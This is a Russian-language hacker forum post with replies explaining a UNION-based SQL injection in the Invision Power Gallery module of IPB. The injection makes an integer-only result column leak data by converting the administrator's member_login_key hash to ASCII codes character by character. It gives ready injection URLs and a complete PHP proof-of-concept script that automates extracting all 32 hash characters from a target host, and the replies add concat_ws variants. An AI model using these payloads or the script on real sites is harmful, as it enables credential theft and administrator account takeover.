SQL-injection: целочисленные SELECT результаты и как с ними бороться. Что делать, если результат вывода select запроса может быть только целочисленным? Первое, что приходит в голову - посимвольный перебор через blind sql-injection технику. Но есть вариант несколько проще. Статья не претендует на что-то новое, это просто материал для тех, "кто не догадался". И вообще это не статья, а гавно. Однако вот она, читайте. Рассмотрим небольшой пример на Invision Power Gallery (модуль к IPB). Кстати, возможно это 0-day уявзимость и работает на последних версиях - не проверял. Вообщем, она тут: http://x/index.php?act=module&module=gallery&cmd=si&img=[INJECT-SQL-HERE] Запрос, который будет выполнятся: SELECT id, caption, masked_file_name, directory, media, thumbnail FROM whb_gallery_images WHERE album_id=1 AND id > [INJECT-SQL-HERE] Итак, первая проблема с которой мы столкнемся - $_GET['id'] не может быть равным 0 или отрицательным. И запрос, соответственно всегда будет выполнятся нормально, не передавая "управление" второму, внедряемому нами UNION SELECT. Решается просто: в качестве $_GET['id'] вбиваем 1-1 и получаем 0 Вот. Идем далее. В первом запросе у нас 6 колонок используется, подставляем: http://x/index.php?act=module&module=gallery&cmd=si&img=1-1+union+select+11,22,33,44,55,66/* Вывод 11 будет в ссылке на одну из картинок в галлерее. Нам требуется хэш администратора (member_login_key) пользователя с id=1 (администратора), все это в таблице ibf_members. Тогда запрос будет такой: http://x/index.php?act=module&module=gallery&cmd=si&img=1-1+union+select+member_login_key,0,0,0,0,0+from+ibf_members+where+id=1+limit+0,1/* И вместо результата SQL-запроса получаем 0. Мы не будем использовать посимвольный перебор через blind sql-injection, а пойдем следующим путем: В хэше md5 у нас 32 символа. Будем брать каждый символ и конвертировать его в ASCII-код, тем самым получая целочисленный результат. Реализуется это с помощью встроенных в MySQL фукнций MID() и ORD(). Нагло выдерну инфу о них из доки по адресу: http://www.mysql.ru/docs/maryan/ Итак, чтобы получить второй символ хэша в ASCII нам надо выполнить запрос: http://x/index.php?act=module&module=gallery&cmd=si&img= 1-1+union+select+ord(mid(member_login_key,2,1)),0,0,0,0,0+from+ibf_members+where+id=1+limit+0,1/* Декодировать этот символ можно с помощью PHP-функции chr($char). Все это дело лучше автоматизировать, ибо 32 раза обращаться за каждый символом хэша это извращение, тем более если это придется проделывать не один раз. Вот моя реализация, не везде тестировалось и наверняка не везде будет работать из-за функции парсера (см. в сторону preg_match_all(), $sql_responce) - короче, кому надо разбирутся. Code: <?php Error_Reporting(E_ALL & ~E_NOTICE); set_time_limit(0); global $fulldata; echo "\r\n\tInvision Power Gallery [IMG] SQL-injection (get md5 hash) PoC by Cytech\r\n"; function SendPacket($host, $port, $packet) { $sock = fsockopen($host,$port,$errno,$errstr); if ($sock) { fputs ($sock, $packet); while (!feof($sock)) { $data=fgets($sock, 1024); $fulldata .= $data; } preg_match_all("!img=(.*?)'>!si", $fulldata, $sql_responce); echo $sql_responce[1][7]."\t".chr($sql_responce[1][7])."\r\n"; } else echo "\r\ncant connect to remote server!"; fclose ($sock); } $host = "www.pwn_it.org"; // host $port = 80 // httpd port $path = "index.php" // path to index.php of ipb $member_id = 1; // member's id for($i=1;$i < 33; $i++) // md5 hash len { $packet = "GET /$path?act=module&module=gallery&cmd=si&img=1- 1+union+select+ord(mid(member_login_key,$i,1)),22,33,44,55, 66+from+ibf_members+where+id=$member_id+limit+0,1/* HTTP/1.0\r\n". "User-Agent: technoid-xploid\r\n". "Host: $host\r\n". "Pragma: no-cache\r\n". "Cache-Control: no-cache\r\n". "Proxy-Connection: close\r\n\r\n"; echo "$i)\t"; SendPacket($host, $port, $packet); } ?> Работает так:
А как вариант можно использовать? concat(ord(mid(member_login_key,1,1)),0x20,ord(mid(member_login_key,2,1)),0x20,...) и так 32 символа)
Talisman хм, впринципе можно, но возможны ошибки теоретически при парсинге строки такой, только вот уместится ли такой запрос в 256 байт? вроде длину GET запроса больше 256 вэб-серверы не принимают по дефолту. AFoST наличие пробела (0x20) уже не допустимо. и вообще concat_ws удобней, если б даже было так, как ты предложил: Code: сoncat_ws(0x20, ord(mid(member_login_key,1,1)),ord(mid (member_login_key,2,1)),...) [ cash ] не умею я оформлять ) и так сойдет )
>> И вообще это не статья, а гавно Согласен с ТС. Не стоило "гавно" так раскатывать, мог бы в одну какашечку всё уткнуть. ЗЫ Гавно пишется через О.